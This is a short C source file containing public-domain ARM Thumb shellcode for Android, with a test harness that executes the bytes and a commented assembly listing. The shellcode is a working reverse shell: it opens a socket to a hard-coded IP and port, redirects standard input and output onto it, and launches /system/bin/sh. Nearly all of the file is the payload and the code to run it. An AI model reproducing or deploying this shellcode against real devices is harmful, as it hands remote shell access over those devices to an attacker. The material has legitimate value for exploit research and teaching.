/* This ARM Thumb sc connects to a given IP and port with a shell. * Intended for use with Android (hence /system/bin/sh). * * Connects to the provided IP and port with a shell * * no null bytes in the code, but does this really matter these days? * it could be fixed with just a few instructions. * * Released to the public domain */ #include <stdio.h> #include <string.h> #define SWAP16(x) ((x) << 8 | ((x) >> 8)) const unsigned char sc[] = { /* Enter Thumb mode (for proof of concept) */ 0x01, 0x10, 0x8F, 0xE2, 0x11, 0xFF, 0x2F, 0xE1, /* 16-bit instructions follow */ 0x02, 0x20, 0x01, 0x21, 0x92, 0x1A, 0x0F, 0x02, 0x19, 0x37, 0x01, 0xDF, 0x06, 0x1C, 0x08, 0xA1, 0x10, 0x22, 0x02, 0x37, 0x01, 0xDF, 0x3F, 0x27, 0x02, 0x21, 0x30, 0x1c, 0x01, 0xdf, 0x01, 0x39, 0xFB, 0xD5, 0x05, 0xA0, 0x92, 0x1a, 0x05, 0xb4, 0x69, 0x46, 0x0b, 0x27, 0x01, 0xDF, 0xC0, 0x46, /* struct sockaddr */ 0x02, 0x00, /* port: 0x1234 */ 0x12, 0x34, /* ip: 10.0.2.2 */ 0x0A, 0x00, 0x02, 0x02, /* "/system/bin/sh" */ 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00 }; int main() { printf("shellcode=%d bytes\n" "connecting to %d.%d.%d.%d:%hd\n", sizeof sc, sc[0x3c], sc[0x3d], sc[0x3e], sc[0x3f], SWAP16(*((unsigned short *)(sc+0x3a)))); return ((int (*)(void))sc)(); } /* * Assembly for those who are interested * # switch to Thumb mode (16-bit ops) .code 32 add r1, pc, #1 bx r1 # Thumb instructions follow .code 16 # socket(2, 1, 0) mov r0, #2 mov r1, #1 sub r2, r2, r2 lsl r7, r1, #8 add r7, r7, #25 svc 1 # connect(r0, &addr, 16) mov r6, r0 add r1, pc, #32 mov r2, #16 add r7, #2 svc 1 # dup2(r0, 0/1/2) mov r7, #63 mov r1, #2 Lb: mov r0, r6 svc 1 sub r1, #1 bpl Lb # execve("/system/bin/sh", ["/system/bin/sh", 0], 0) add r0, pc, #20 sub r2, r2, r2 push {r0, r2} mov r1, sp mov r7, #11 svc 1 # struct sockaddr .align 2 .short 0x2 .short 0x3412 # port .byte 10,0,2,2 # IP .ascii "/system/bin/sh\0\0" # shell ***/